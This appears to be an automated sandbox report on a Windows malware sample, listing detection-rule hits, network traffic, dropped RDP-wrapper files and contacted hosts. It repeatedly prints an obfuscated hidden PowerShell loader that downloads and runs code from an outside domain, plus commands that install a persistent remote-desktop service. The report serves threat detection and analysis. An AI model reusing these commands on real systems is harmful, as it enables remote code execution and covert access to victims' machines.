"SQBFAFgAIAAoAFsAVABlAFgAVAAuAEUATgBDAG8ARABpAE4AZwBdADoAOgBVAFQARgA4AC4ARwBFAFQAUwBUAHIAaQBuAGcAKAAoAGkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5ADEAZQBYAFEAeABiAGoAaABrAFoAVwBRADUAWgBtAEkAegBPAEQAQQB1AFkAMgA5AHQATAB6AEIARQBNAEUAUQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBuAHQAKQApAA==" , ProcessId: 7764, ProcessName: powershell.exe
            Sigma detected: Dynamic .NET Compilation Via Csc.EXE
            Source: Process startedAuthor: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ybpc4wl1\ybpc4wl1.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ybpc4wl1\ybpc4wl1.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: POwershElL -w hIddeN -nOlOgO -noP -eP BypASS -ENCoDeDCoMmand "SQBFAFgAIAAoAFsAVABlAFgAVAAuAEUATgBDAG8ARABpAE4AZwBdADoAOgBVAFQARgA4AC4ARwBFAFQAUwBUAHIAaQBuAGcAKAAoAGkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5ADEAZQBYAFEAeABiAGoAaABrAFoAVwBRADUAWgBtAEkAegBPAEQAQQB1AFkAMgA5AHQATAB6AEIARQBNAEUAUQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBuAHQAKQApAA==" , ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7764, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ybpc4wl1\ybpc4wl1.cmdline", ProcessId: 8008, ProcessName: csc.exe
            Sigma detected: Suspicious Execution of Powershell with Base64
            Source: Process startedAuthor: frack113: Data: Command: POwershElL -w hIddeN -nOlOgO -noP -eP BypASS -ENCoDeDCoMmand "SQBFAFgAIAAoAFsAVABlAFgAVAAuAEUATgBDAG8ARABpAE4AZwBdADoAOgBVAFQARgA4AC4ARwBFAFQAUwBUAHIAaQBuAGcAKAAoAGkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5ADEAZQBYAFEAeABiAGoAaABrAFoAVwBRADUAWgBtAEkAegBPAEQAQQB1AFkAMgA5AHQATAB6AEIARQBNAEUAUQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBuAHQAKQApAA==" , CommandLine: POwershElL -w hIddeN -nOlOgO -noP -eP BypASS -ENCoDeDCoMmand "SQBFAFgAIAAoAFsAVABlAFgAVAAuAEUATgBDAG8ARABpAE4AZwBdADoAOgBVAFQARgA4AC4ARwBFAFQAUwBUAHIAaQBuAGcAKAAoAGkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5ADEAZQBYAFEAeABiAGoAaABrAFoAVwBRADUAWgBtAEkAegBPAEQAQQB1AFkAMgA5AHQATAB6AEIARQBNAEUAUQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBuAHQAKQApAA==" , CommandLine|base64offset|contains: <D, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /v /k "s^T^AR^T /m^I^n "" P^O^wers^h^E^l^L -w h^I^dde^N -nO^l^OgO -noP -eP By^pA^SS -EN^CoD^eDCoM^m^and "SQBFAFgAIAAoAFsAVABlAFgAVAAuAEUATgBDAG8ARABpAE4AZwBdADoAOgBVAFQARgA4AC4ARwBFAFQAUwBUAHIAaQBuAGcAKAAoAGkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5ADEAZQBYAFEAeABiAGoAaABrAFoAVwBRADUAWgBtAEkAegBPAEQAQQB1AFkAMgA5AHQATAB6AEIARQBNAEUAUQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBuAHQAKQApAA=="" && exit, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4148, ParentProcessName: cmd.exe, ProcessCommandLine: POwershElL -w hIddeN -nOlOgO -noP -eP BypASS -ENCoDeDCoMmand "SQBFAFgAIAAoAFsAVABlAFgAVAAuAEUATgBDAG8ARABpAE4AZwBdADoAOgBVAFQARgA4AC4ARwBFAFQAUwBUAHIAaQBuAGcAKAAoAGkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5ADEAZQBYAFEAeABiAGoAaABrAFoAVwBRADUAWgBtAEkAegBPAEQAQQB1AFkAMgA5AHQATAB6AEIARQBNAEUAUQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBuAHQAKQApAA==" , ProcessId: 7764, ProcessName: powershell.exe
            Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
            Source: Process startedAuthor: Nasreddine Bencherchali (Nextron Systems): Data: Command: POwershElL -w hIddeN -nOlOgO -noP -eP BypASS -ENCoDeDCoMmand "SQBFAFgAIAAoAFsAVABlAFgAVAAuAEUATgBDAG8ARABpAE4AZwBdADoAOgBVAFQARgA4AC4ARwBFAFQAUwBUAHIAaQBuAGcAKAAoAGkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5ADEAZQBYAFEAeABiAGoAaABrAFoAVwBRADUAWgBtAEkAegBPAEQAQQB1AFkAMgA5AHQATAB6AEIARQBNAEUAUQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBuAHQAKQApAA==" , CommandLine: POwershElL -w hIddeN -nOlOgO -noP -eP BypASS -ENCoDeDCoMmand "SQBFAFgAIAAoAFsAVABlAFgAVAAuAEUATgBDAG8ARABpAE4AZwBdADoAOgBVAFQARgA4AC4ARwBFAFQAUwBUAHIAaQBuAGcAKAAoAGkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5ADEAZQBYAFEAeABiAGoAaABrAFoAVwBRADUAWgBtAEkAegBPAEQAQQB1AFkAMgA5AHQATAB6AEIARQBNAEUAUQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBuAHQAKQApAA==" , CommandLine|base64offset|contains: <D, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /v /k "s^T^AR^T /m^I^n "" P^O^wers^h^E^l^L -w h^I^dde^N -nO^l^OgO -noP -eP By^pA^SS -EN^CoD^eDCoM^m^and "SQBFAFgAIAAoAFsAVABlAFgAVAAuAEUATgBDAG8ARABpAE4AZwBdADoAOgBVAFQARgA4AC4ARwBFAFQAUwBUAHIAaQBuAGcAKAAoAGkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5ADEAZQBYAFEAeABiAGoAaABrAFoAVwBRADUAWgBtAEkAegBPAEQAQQB1AFkAMgA5AHQATAB6AEIARQBNAEUAUQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBuAHQAKQApAA=="" && exit, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4148, ParentProcessName: cmd.exe, ProcessCommandLine: POwershElL -w hIddeN -nOlOgO -noP -eP BypASS -ENCoDeDCoMmand "SQBFAFgAIAAoAFsAVABlAFgAVAAuAEUATgBDAG8ARABpAE4AZwBdADoAOgBVAFQARgA4AC4ARwBFAFQAUwBUAHIAaQBuAGcAKAAoAGkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5ADEAZQBYAFEAeABiAGoAaABrAFoAVwBRADUAWgBtAEkAegBPAEQAQQB1AFkAMgA5AHQATAB6AEIARQBNAEUAUQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBuAHQAKQApAA==" , ProcessId: 7764, ProcessName: powershell.exe
            Sigma detected: Dynamic CSharp Compile Artefact
            Source: File createdAuthor: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7764, TargetFilename: C:\Users\user\AppData\Local\Temp\ybpc4wl1\ybpc4wl1.cmdline
            Sigma detected: Net.exe Execution
            Source: Process startedAuthor: Michael Haag, Mark Woan (improvements), James Pemberton / @4A616D6573 / oscd.community (improvements): Data: Command: net start "myRdpService", CommandLine: net start "myRdpService", CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8668, ParentProcessName: cmd.exe, ProcessCommandLine: net start "myRdpService", ProcessId: 8912, ProcessName: net.exe
            Sigma detected: New Service Creation Using Sc.EXE
            Source: Process startedAuthor: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto , CommandLine: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto , CommandLine|base64offset|contains: H, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8668, ParentProcessName: cmd.exe, ProcessCommandLine: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto , ProcessId: 8772, ProcessName: sc.exe
            Sigma detected: Non Interactive PowerShell Process Spawned
            Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: POwershElL -w hIddeN -nOlOgO -noP -eP BypASS -ENCoDeDCoMmand "SQBFAFgAIAAoAFsAVABlAFgAVAAuAEUATgBDAG8ARABpAE4AZwBdADoAOgBVAFQARgA4AC4ARwBFAFQAUwBUAHIAaQBuAGcAKAAoAGkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5ADEAZQBYAFEAeABiAGoAaABrAFoAVwBRADUAWgBtAEkAegBPAEQAQQB1AFkAMgA5AHQATAB6AEIARQBNAEUAUQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBuAHQAKQApAA==" , CommandLine: POwershElL -w hIddeN -nOlOgO -noP -eP BypASS -ENCoDeDCoMmand "SQBFAFgAIAAoAFsAVABlAFgAVAAuAEUATgBDAG8ARABpAE4AZwBdADoAOgBVAFQARgA4AC4ARwBFAFQAUwBUAHIAaQBuAGcAKAAoAGkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5ADEAZQBYAFEAeABiAGoAaABrAFoAVwBRADUAWgBtAEkAegBPAEQAQQB1AFkAMgA5AHQATAB6AEIARQBNAEUAUQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBuAHQAKQApAA==" , CommandLine|base64offset|contains: <D, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /v /k "s^T^AR^T /m^I^n "" P^O^wers^h^E^l^L -w h^I^dde^N -nO^l^OgO -noP -eP By^pA^SS -EN^CoD^eDCoM^m^and "SQBFAFgAIAAoAFsAVABlAFgAVAAuAEUATgBDAG8ARABpAE4AZwBdADoAOgBVAFQARgA4AC4ARwBFAFQAUwBUAHIAaQBuAGcAKAAoAGkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5ADEAZQBYAFEAeABiAGoAaABrAFoAVwBRADUAWgBtAEkAegBPAEQAQQB1AFkAMgA5AHQATAB6AEIARQBNAEUAUQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBuAHQAKQApAA=="" && exit, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4148, ParentProcessName: cmd.exe, ProcessCommandLine: POwershElL -w hIddeN -nOlOgO -noP -eP BypASS -ENCoDeDCoMmand "SQBFAFgAIAAoAFsAVABlAFgAVAAuAEUATgBDAG8ARABpAE4AZwBdADoAOgBVAFQARgA4AC4ARwBFAFQAUwBUAHIAaQBuAGcAKAAoAGkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5ADEAZQBYAFEAeABiAGoAaABrAFoAVwBRADUAWgBtAEkAegBPAEQAQQB1AFkAMgA5AHQATAB6AEIARQBNAEUAUQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBuAHQAKQApAA==" , ProcessId: 7764, ProcessName: powershell.exe
            Sigma detected: SC.EXE Query Execution
            Source: Process startedAuthor: frack113: Data: Command: sc query myRdpService, CommandLine: sc query myRdpService, CommandLine|base64offset|contains: , Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "cmd.exe" /c sc query myRdpService, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4404, ParentProcessName: cmd.exe, ProcessCommandLine: sc query myRdpService, ProcessId: 7476, ProcessName: sc.exe
            Sigma detected: Start Windows Service Via Net.EXE
            Source: Process startedAuthor: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: net start "myRdpService", CommandLine: net start "myRdpService", CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8668, ParentProcessName: cmd.exe, ProcessCommandLine: net start "myRdpService", ProcessId: 8912, ProcessName: net.exe
            Sigma detected: Windows Processes Suspicious Parent Directory
            Source: Process startedAuthor: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 904, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 9568, ProcessName: svchost.exe

            Data Obfuscation

            barindex
            Sigma detected: Dot net compiler compiles file from suspicious location
            Source: Process startedAuthor: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ybpc4wl1\ybpc4wl1.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ybpc4wl1\ybpc4wl1.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: POwershElL -w hIddeN -nOlOgO -noP -eP BypASS -ENCoDeDCoMmand "SQBFAFgAIAAoAFsAVABlAFgAVAAuAEUATgBDAG8ARABpAE4AZwBdADoAOgBVAFQARgA4AC4ARwBFAFQAUwBUAHIAaQBuAGcAKAAoAGkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5ADEAZQBYAFEAeABiAGoAaABrAFoAVwBRADUAWgBtAEkAegBPAEQAQQB1AFkAMgA5AHQATAB6AEIARQBNAEUAUQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBuAHQAKQApAA==" , ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7764, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ybpc4wl1\ybpc4wl1.cmdline", ProcessId: 8008, ProcessName: csc.exe

            Suricata Signatures

            TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
            2024-11-08T11:28:28.322196+010028033053Unknown Traffic192.168.11.2049734104.21.86.219443TCP
            2024-11-08T11:29:10.562244+010028033053Unknown Traffic192.168.11.2049740104.21.86.219443TCP
            TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
            2024-11-08T11:27:15.895885+010028032742Potentially Bad Traffic192.168.11.2049709104.21.86.219443TCP
            2024-11-08T11:27:18.206709+010028032742Potentially Bad Traffic192.168.11.2049711104.21.86.219443TCP
            2024-11-08T11:27:20.376735+010028032742Potentially Bad Traffic192.168.11.2049713104.21.86.219443TCP
            2024-11-08T11:27:43.121585+010028032742Potentially Bad Traffic192.168.11.2049729104.21.86.219443TCP

            Joe Sandbox Signatures

            Click to jump to signature section

            Show All Signature Results

            AV Detection

            barindex
            Multi AV Scanner detection for dropped file
            Source: C:\Windows\Temp\rdp.exeReversingLabs: Detection: 65%
            Source: C:\Windows\Temp\rdpwrap.dllReversingLabs: Detection: 54%
            Source: C:\Windows\Temp\svczHost.exeReversingLabs: Detection: 15%
            Source: unknownHTTPS traffic detected: 104.21.86.219:443 -> 192.168.11.20:49708 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 104.21.86.219:443 -> 192.168.11.20:49716 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 104.21.86.219:443 -> 192.168.11.20:49718 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 104.21.86.219:443 -> 192.168.11.20:49734 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 185.199.110.133:443 -> 192.168.11.20:49743 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 185.199.110.133:443 -> 192.168.11.20:49744 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 185.199.110.133:443 -> 192.168.11.20:49744 version: TLS 1.2
            Source: Binary string: ll\mscorlib.pdbNAME8 source: powershell.exe, 00000007.00000002.1126215398.0000029F9B960000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: ws\mscorlib.pdbpdb source: powershell.exe, 00000007.00000002.1126215398.0000029F9B960000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: rdpclip.pdbH source: svczHost.exe, 00000016.00000002.2312865308.000001B170346000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: n.pdb source: powershell.exe, 00000007.00000002.1126215398.0000029F9B960000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: rdpclip.pdbJ source: svczHost.exe, 00000016.00000002.2312865308.000001B170346000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: l\System.pdbb source: powershell.exe, 0000000B.00000002.1899513032.000001E7783E0000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: RfxVmt.pdb source: svczHost.exe, 00000016.00000002.2312865308.000001B170346000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: rdpclip.pdb source: svczHost.exe, 00000016.00000002.2312865308.000001B170346000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: omation.pdb source: powershell.exe, 0000000B.00000002.1900105818.000001E778441000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: RfxVmt.pdbGCTL source: svczHost.exe, 00000016.00000002.2312865308.000001B170346000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: t.Automation.pdb\Wi source: powershell.exe, 00000007.00000002.1126215398.0000029F9B960000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: \??\C:\Windows\symbols\dll\System.Management.Automation.pdb source: powershell.exe, 00000007.00000002.1126215398.0000029F9B960000.00000004.00000020.00020000.00000000.sdmp
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\userJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\MicrosoftJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.iniJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppDataJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\RoamingJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\WindowsJump to behavior

            Networking

            barindex
            Potential dropper URLs found in powershell memory
            Source: powershell.exe, 0000000B.00000002.1825159018.000001E7108AC000.00000004.00000800.00020000.00000000.sdmpString found in memory: <&nbsp;&nbsp;&nbsp;"><a href="http://style="float:left;concerned with the=http%3A%2F%2Fwww.in popular culturetype="text/css" />it is possible to Harvard Universitytylesheet" href="/the main characterOxford University name="keywords" cstyle="text-align:the United Kingdomfederal government<div style="margin depending on the description of the<div class="header.min.js"></script>destruction of theslightly differentin accordance withtelecommunicationsindicates that theshortly thereafterespecially in the European countriesHowever, there aresrc="http://staticsuggested that the" src="http://www.a large number of Telecommunications" rel="nofollow" tHoly Roman Emperoralmost exclusively" border="0" alt="Secretary of Stateculminating in theCIA World Factbookthe most importantanniversary of thestyle="background-<li><em><a href="/the Atlantic Oceanstrictly speaking,shortly before thedifferent types ofthe Ottoman Empire><img src="http://An Introduction toconsequence of thedeparture from theConfederate Statesindigenous peoplesProceedings of theinformation on thetheories have beeninvolvement in thedivided into threeadjacent countriesis responsible fordissolution of thecollaboration withwidely regarded ashis contemporariesfounding member ofDominican Republicgenerally acceptedthe possibility ofare also availableunder constructionrestoration of thethe general publicis almost entirelypasses through thehas been suggestedcomputer and videoGermanic languages according to the different from theshortly afterwardshref="https://www.recent developmentBoard of Directors<div class="search| <a href="http://In particular, theMultiple footnotesor other substancethousands of yearstranslation of the</div>
            Uses known network protocols on non-standard ports
            Source: unknownNetwork traffic detected: HTTP traffic on port 49736 -> 8000
            Source: unknownNetwork traffic detected: HTTP traffic on port 8000 -> 49736
            Source: unknownNetwork traffic detected: HTTP traffic on port 49737 -> 8008
            Source: unknownNetwork traffic detected: HTTP traffic on port 8008 -> 49737
            Source: unknownNetwork traffic detected: HTTP traffic on port 49738 -> 8000
            Source: unknownNetwork traffic detected: HTTP traffic on port 8000 -> 49738
            Source: unknownNetwork traffic detected: HTTP traffic on port 49739 -> 8008
            Source: unknownNetwork traffic detected: HTTP traffic on port 8008 -> 49739
            Source: unknownNetwork traffic detected: HTTP traffic on port 49741 -> 8008
            Source: unknownNetwork traffic detected: HTTP traffic on port 8008 -> 49741
            Source: unknownNetwork traffic detected: HTTP traffic on port 49742 -> 8008
            Source: unknownNetwork traffic detected: HTTP traffic on port 8008 -> 49742
            Yara detected RDPWrap Tool
            Source: Yara matchFile source: 58.0.rdp.exe.8f0000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000016.00000002.2312865308.000001B170346000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: svczHost.exe PID: 9528, type: MEMORYSTR
            Source: Yara matchFile source: C:\Windows\Temp\rdp.exe, type: DROPPED
            Source: global trafficTCP traffic: 192.168.11.20:49736 -> 23.88.71.29:8000
            Source: global trafficTCP traffic: 192.168.11.20:49737 -> 206.206.126.252:8008
            Source: global trafficHTTP traffic detected: GET /StaticFile/RdpService/52 HTTP/1.1Host: uyt1n8ded9fb380.com
            Source: global trafficHTTP traffic detected: GET /StaticFile/TermServiceTryRun/89 HTTP/1.1Host: uyt1n8ded9fb380.com
